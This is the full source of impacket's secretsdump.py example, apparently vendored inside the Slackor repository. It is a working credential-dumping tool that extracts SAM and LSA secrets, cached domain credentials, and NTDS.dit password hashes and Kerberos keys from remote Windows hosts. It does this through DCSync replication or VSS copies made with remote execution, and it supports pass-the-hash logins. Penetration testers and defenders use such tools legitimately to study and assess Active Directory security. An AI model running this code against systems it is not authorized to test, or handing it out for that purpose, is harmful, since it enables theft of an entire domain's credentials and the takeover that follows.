github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/secretsdump.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # Description: Performs various techniques to dump hashes from the
     9  #              remote machine without executing any agent there.
    10  #              For SAM and LSA Secrets (including cached creds)
    11  #              we try to read as much as we can from the registry
    12  #              and then we save the hives in the target system
    13  #              (%SYSTEMROOT%\\Temp dir) and read the rest of the
    14  #              data from there.
    15  #              For NTDS.dit we either:
    16  #                a. Get the domain users list and get its hashes
    17  #                   and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
    18  #                   call, replicating just the attributes we need.
    19  #                b. Extract NTDS.dit via vssadmin executed  with the
    20  #                   smbexec approach.
    21  #                   It's copied on the temp dir and parsed remotely.
    22  #
    23  #              The script initiates the services required for its working
    24  #              if they are not available (e.g. Remote Registry, even if it is 
    25  #              disabled). After the work is done, things are restored to the 
    26  #              original state.
    27  #
    28  # Author:
    29  #  Alberto Solino (@agsolino)
    30  #
    31  # References: Most of the work done by these guys. I just put all
    32  #             the pieces together, plus some extra magic.
    33  #
    34  # https://github.com/gentilkiwi/kekeo/tree/master/dcsync
    35  # https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
    36  # https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
    37  # https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
    38  # https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
    39  # https://code.google.com/p/creddump/
    40  # https://lab.mediaservice.net/code/cachedump.rb
    41  # https://insecurety.net/?p=768
    42  # http://www.beginningtoseethelight.org/ntsecurity/index.htm
    43  # https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
    44  # https://www.passcape.com/index.php?section=blog&cmd=details&id=15
    45  #
    46  from __future__ import division
    47  from __future__ import print_function
    48  import argparse
    49  import codecs
    50  import logging
    51  import os
    52  import sys
    53  
    54  from impacket import version
    55  from impacket.examples import logger
    56  from impacket.smbconnection import SMBConnection
    57  
    58  from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
    59  try:
    60      input = raw_input
    61  except NameError:
    62      pass
    63  
    64  class DumpSecrets:
    65      def __init__(self, remoteName, username='', password='', domain='', options=None):
    66          self.__useVSSMethod = options.use_vss
    67          self.__remoteName = remoteName
    68          self.__remoteHost = options.target_ip
    69          self.__username = username
    70          self.__password = password
    71          self.__domain = domain
    72          self.__lmhash = ''
    73          self.__nthash = ''
    74          self.__aesKey = options.aesKey
    75          self.__smbConnection = None
    76          self.__remoteOps = None
    77          self.__SAMHashes = None
    78          self.__NTDSHashes = None
    79          self.__LSASecrets = None
    80          self.__systemHive = options.system
    81          self.__bootkey = options.bootkey
    82          self.__securityHive = options.security
    83          self.__samHive = options.sam
    84          self.__ntdsFile = options.ntds
    85          self.__history = options.history
    86          self.__noLMHash = True
    87          self.__isRemote = True
    88          self.__outputFileName = options.outputfile
    89          self.__doKerberos = options.k
    90          self.__justDC = options.just_dc
    91          self.__justDCNTLM = options.just_dc_ntlm
    92          self.__justUser = options.just_dc_user
    93          self.__pwdLastSet = options.pwd_last_set
    94          self.__printUserStatus= options.user_status
    95          self.__resumeFileName = options.resumefile
    96          self.__canProcessSAMLSA = True
    97          self.__kdcHost = options.dc_ip
    98          self.__options = options
    99  
   100          if options.hashes is not None:
   101              self.__lmhash, self.__nthash = options.hashes.split(':')
   102  
   103      def connect(self):
   104          self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
   105          if self.__doKerberos:
   106              self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
   107                                                 self.__nthash, self.__aesKey, self.__kdcHost)
   108          else:
   109              self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
   110  
   111      def dump(self):
   112          try:
   113              if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
   114                  self.__isRemote = False
   115                  self.__useVSSMethod = True
   116                  if self.__systemHive:
   117                      localOperations = LocalOperations(self.__systemHive)
   118                      bootKey = localOperations.getBootKey()
   119                      if self.__ntdsFile is not None:
   120                      # Let's grab target's configuration about LM Hashes storage
   121                          self.__noLMHash = localOperations.checkNoLMHashPolicy()
   122                  else:
   123                      import binascii
   124                      bootKey = binascii.unhexlify(self.__bootkey)
   125  
   126              else:
   127                  self.__isRemote = True
   128                  bootKey = None
   129                  try:
   130                      try:
   131                          self.connect()
   132                      except Exception as e:
   133                          if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
   134                              # SMBConnection failed. That might be because there was no way to log into the
   135                              # target system. We just have a last resort. Hope we have tickets cached and that they
   136                              # will work
   137                              logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
   138                              pass
   139                          else:
   140                              raise
   141  
   142                      self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
   143                      self.__remoteOps.setExecMethod(self.__options.exec_method)
   144                      if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
   145                          self.__remoteOps.enableRegistry()
   146                          bootKey             = self.__remoteOps.getBootKey()
   147                          # Let's check whether target system stores LM Hashes
   148                          self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
   149                  except Exception as e:
   150                      self.__canProcessSAMLSA = False
   151                      if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
   152                          and self.__doKerberos is True:
   153                          # Giving some hints here when SPN target name validation is set to something different to Off
   154                          # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
   155                          logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
   156                      else:
   157                          logging.error('RemoteOperations failed: %s' % str(e))
   158  
   159              # If RemoteOperations succeeded, then we can extract SAM and LSA
   160              if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
   161                  try:
   162                      if self.__isRemote is True:
   163                          SAMFileName         = self.__remoteOps.saveSAM()
   164                      else:
   165                          SAMFileName         = self.__samHive
   166  
   167                      self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
   168                      self.__SAMHashes.dump()
   169                      if self.__outputFileName is not None:
   170                          self.__SAMHashes.export(self.__outputFileName)
   171                  except Exception as e:
   172                      logging.error('SAM hashes extraction failed: %s' % str(e))
   173  
   174                  try:
   175                      if self.__isRemote is True:
   176                          SECURITYFileName = self.__remoteOps.saveSECURITY()
   177                      else:
   178                          SECURITYFileName = self.__securityHive
   179  
   180                      self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
   181                                                     isRemote=self.__isRemote, history=self.__history)
   182                      self.__LSASecrets.dumpCachedHashes()
   183                      if self.__outputFileName is not None:
   184                          self.__LSASecrets.exportCached(self.__outputFileName)
   185                      self.__LSASecrets.dumpSecrets()
   186                      if self.__outputFileName is not None:
   187                          self.__LSASecrets.exportSecrets(self.__outputFileName)
   188                  except Exception as e:
   189                      if logging.getLogger().level == logging.DEBUG:
   190                          import traceback
   191                          traceback.print_exc()
   192                      logging.error('LSA hashes extraction failed: %s' % str(e))
   193  
   194              # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
   195              if self.__isRemote is True:
   196                  if self.__useVSSMethod and self.__remoteOps is not None:
   197                      NTDSFileName = self.__remoteOps.saveNTDS()
   198                  else:
   199                      NTDSFileName = None
   200              else:
   201                  NTDSFileName = self.__ntdsFile
   202  
   203              self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
   204                                             noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
   205                                             useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
   206                                             pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
   207                                             outputFileName=self.__outputFileName, justUser=self.__justUser,
   208                                             printUserStatus= self.__printUserStatus)
   209              try:
   210                  self.__NTDSHashes.dump()
   211              except Exception as e:
   212                  if logging.getLogger().level == logging.DEBUG:
   213                      import traceback
   214                      traceback.print_exc()
   215                  if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
   216                      # We don't store the resume file if this error happened, since this error is related to lack
   217                      # of enough privileges to access DRSUAPI.
   218                      resumeFile = self.__NTDSHashes.getResumeSessionFile()
   219                      if resumeFile is not None:
   220                          os.unlink(resumeFile)
   221                  logging.error(e)
   222                  if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
   223                      logging.info("You just got that error because there might be some duplicates of the same name. "
   224                                   "Try specifying the domain name for the user as well. It is important to specify it "
   225                                   "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
   226                  elif self.__useVSSMethod is False:
   227                      logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
   228              self.cleanup()
   229          except (Exception, KeyboardInterrupt) as e:
   230              if logging.getLogger().level == logging.DEBUG:
   231                  import traceback
   232                  traceback.print_exc()
   233              logging.error(e)
   234              if self.__NTDSHashes is not None:
   235                  if isinstance(e, KeyboardInterrupt):
   236                      while True:
   237                          answer =  input("Delete resume session file? [y/N] ")
   238                          if answer.upper() == '':
   239                              answer = 'N'
   240                              break
   241                          elif answer.upper() == 'Y':
   242                              answer = 'Y'
   243                              break
   244                          elif answer.upper() == 'N':
   245                              answer = 'N'
   246                              break
   247                      if answer == 'Y':
   248                          resumeFile = self.__NTDSHashes.getResumeSessionFile()
   249                          if resumeFile is not None:
   250                              os.unlink(resumeFile)
   251              try:
   252                  self.cleanup()
   253              except:
   254                  pass
   255  
   256      def cleanup(self):
   257          logging.info('Cleaning up... ')
   258          if self.__remoteOps:
   259              self.__remoteOps.finish()
   260          if self.__SAMHashes:
   261              self.__SAMHashes.finish()
   262          if self.__LSASecrets:
   263              self.__LSASecrets.finish()
   264          if self.__NTDSHashes:
   265              self.__NTDSHashes.finish()
   266  
   267  
   268  # Process command-line arguments.
   269  if __name__ == '__main__':
   270      # Init the example's logger theme
   271      logger.init()
   272      # Explicitly changing the stdout encoding format
   273      if sys.stdout.encoding is None:
   274          # Output is redirected to a file
   275          sys.stdout = codecs.getwriter('utf8')(sys.stdout)
   276  
   277      print(version.BANNER)
   278  
   279      parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from "
   280                                                        "the remote machine without executing any agent there.")
   281  
   282      parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
   283                                                         ' (if you want to parse local files)')
   284      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
   285      parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
   286      parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')
   287      parser.add_argument('-security', action='store', help='SECURITY hive to parse')
   288      parser.add_argument('-sam', action='store', help='SAM hive to parse')
   289      parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
   290      parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
   291                           'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
   292                           'state')
   293      parser.add_argument('-outputfile', action='store',
   294                          help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
   295      parser.add_argument('-use-vss', action='store_true', default=False,
   296                          help='Use the VSS method insead of default DRSUAPI')
   297      parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
   298                          'method to use at target (only when using -use-vss). Default: smbexec')
   299      group = parser.add_argument_group('display options')
   300      group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
   301                         help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
   302                              'Implies also -just-dc switch')
   303      group.add_argument('-just-dc', action='store_true', default=False,
   304                          help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
   305      group.add_argument('-just-dc-ntlm', action='store_true', default=False,
   306                         help='Extract only NTDS.DIT data (NTLM hashes only)')
   307      group.add_argument('-pwd-last-set', action='store_true', default=False,
   308                         help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
   309      group.add_argument('-user-status', action='store_true', default=False,
   310                          help='Display whether or not the user is disabled')
   311      group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal')
   312      group = parser.add_argument_group('authentication')
   313  
   314      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
   315      group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
   316      group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
   317                               '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
   318                               ' the ones specified in the command line')
   319      group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
   320                                                                              ' (128 or 256 bits)')
   321      group = parser.add_argument_group('connection')
   322      group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
   323                                   'ommited it use the domain part (FQDN) specified in the target parameter')
   324      group.add_argument('-target-ip', action='store', metavar="ip address",
   325                         help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
   326                              'This is useful when target is the NetBIOS name and you cannot resolve it')
   327  
   328      if len(sys.argv)==1:
   329          parser.print_help()
   330          sys.exit(1)
   331  
   332      options = parser.parse_args()
   333  
   334      if options.debug is True:
   335          logging.getLogger().setLevel(logging.DEBUG)
   336      else:
   337          logging.getLogger().setLevel(logging.INFO)
   338  
   339      import re
   340  
   341      domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
   342          options.target).groups('')
   343          
   344      #In case the password contains '@'
   345      if '@' in remoteName:
   346          password = password + '@' + remoteName.rpartition('@')[0]
   347          remoteName = remoteName.rpartition('@')[2]
   348  
   349      if options.just_dc_user is not None:
   350          if options.use_vss is True:
   351              logging.error('-just-dc-user switch is not supported in VSS mode')
   352              sys.exit(1)
   353          elif options.resumefile is not None:
   354              logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
   355              sys.exit(1)
   356          elif remoteName.upper() == 'LOCAL' and username == '':
   357              logging.error('-just-dc-user not compatible in LOCAL mode')
   358              sys.exit(1)
   359          else:
   360              # Having this switch on implies not asking for anything else.
   361              options.just_dc = True
   362  
   363      if options.use_vss is True and options.resumefile is not None:
   364          logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
   365          sys.exit(1)
   366  
   367      if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
   368          logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
   369          sys.exit(1)
   370  
   371      if remoteName.upper() == 'LOCAL' and username == '':
   372          if options.system is None and options.bootkey is None:
   373              logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help')
   374              sys.exit(1)
   375      else:
   376  
   377          if options.target_ip is None:
   378              options.target_ip = remoteName
   379  
   380          if domain is None:
   381              domain = ''
   382  
   383          if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
   384              from getpass import getpass
   385  
   386              password = getpass("Password:")
   387  
   388          if options.aesKey is not None:
   389              options.k = True
   390  
   391      dumper = DumpSecrets(remoteName, username, password, domain, options)
   392      try:
   393          dumper.dump()
   394      except Exception as e:
   395          if logging.getLogger().level == logging.DEBUG:
   396              import traceback
   397              traceback.print_exc()
   398          logging.error(e)